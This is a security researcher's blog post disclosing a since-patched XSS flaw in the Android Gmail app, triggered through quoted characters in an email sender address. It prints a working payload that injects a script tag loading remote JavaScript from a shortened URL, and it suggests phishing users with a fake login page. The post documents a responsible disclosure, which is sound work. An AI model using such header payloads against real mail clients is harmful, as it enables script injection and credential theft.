Android Gmail App: Stealing Emails via XSS
During a night of drinking a couple months ago, I got into a discussion with my roommate (his personal blog, cause I promised) about what characters are valid in email addresses. Although many filters only allow [a-zA-Z0-9_-] plus maybe a few more as valid characters in the local-part of the address, I was convinced that I had previously seen email addresses that used characters outside of that character set, as well as filters that allowed for a wider range of characters. As I normally do during bouts of drinking, I immediately consulted the RFC to settle the dispute (RFC 5322). Sure enough, it is apparently allowed, but discouraged, under the RFC to have an email address in the following format: "i<3whate\/er"@mydomain.com . As long as the quotation marks are present, it is technically a valid email address.
Seeing that this might trip up the ill-informed, I decided to see if Gmail handled this case correctly. I wrote up a quick test in Python and used one of the many open SMTP relays on campus (another rant for another time) to shoot an email at my Gmail account. While the main Gmail interface handled the problem with relative ease (there were some small pattern matching issues when replying), I was a little surprised to see something like the following when I opened the email on my phone:
However, this email got blocked by Gmail's spam filters. Although at first I thought that they might be aware of the vulnerability and had tried to mitigate it, it quickly became apparent that it was simply blocking all emails with "<" in the from address. Weird, but not a show stopper. To get around this, I used the fact that the XSS was present in the image tag and abused the onload attribute for execution:
Sure enough, the email got through, and when viewed, I ended up looking at Google!
Of course, this is in all likelihood not the best way I could of done this, but it worked well. I'd love to see better solutions if people have them.
EDIT: Here's a much cleaner and simpler version, courtesy of R (see comments). I especially liked the use of an attribute for storing the URL string.
" title='http://bit.ly/i33HdV' onload='d=document;(s=d.createElement(/script/.source)).src=this.title;d.getElementsByTagName(/head/.source).appendChild(s)' "@somedmn.com
Probably the easiest way to exploit this vulnerability would be simply to launch a phishing attack that redirects users to a fake mobile Gmail login page, in the hopes that they will happily log in to continue viewing their emails. However, this was not a particularly interesting or creative thing to do with the vulnerability, simple though it may be.
One must also keep in mind that beyond these vulnerability-specific threats, the flaw also allowed for much easier (and quieter) exploitation of other vulnerabilities that have been found by other researchers, including the data-stealing bug and various arbitrary code execution vulnerabilities in WebKit (like this). It also allowed for the exploitation of any number of file format bugs that might have been found in the future. Exploiting any of these would be as easy as getting a user to open up an email. Worse, the user would have no idea until it was too late, as one could set the From header appropriately to make the email look legitimate (i.e., to something other than Test :P):
I found the bug on 12/3/2010, and I contacted Google about 24 hours after I discovered it and confirmed it was exploitable. I received a quick initial response, but patching of the vulnerability on the server side was not completed until 1/28/11, apparently because of decreased staffing levels over the holiday. The patch was applied server-side in the Gmail API, and works by converting the special characters into their corresponding HTML entities. The Google security people were, as in all my previous communications with them, polite and professional, and I want to thank them for addressing the issue in a reasonable timeframe.
Overall, it was a pretty interesting vulnerability, and it was a good opportunity for me to learn a little more about Android. I had a good time familiarizing myself with the platform, and hopefully I will be able to do some more interesting things with it in the future. It has also definitely made me think twice before I open emails on my phone, which is probably for the best. Hopefully once these platforms become more mature, we won't see as many of these simple but serious vulnerabilities. However, if the maturation process we've observed in other security domains is any indication, I wouldn't hold your breath. It's going to take time.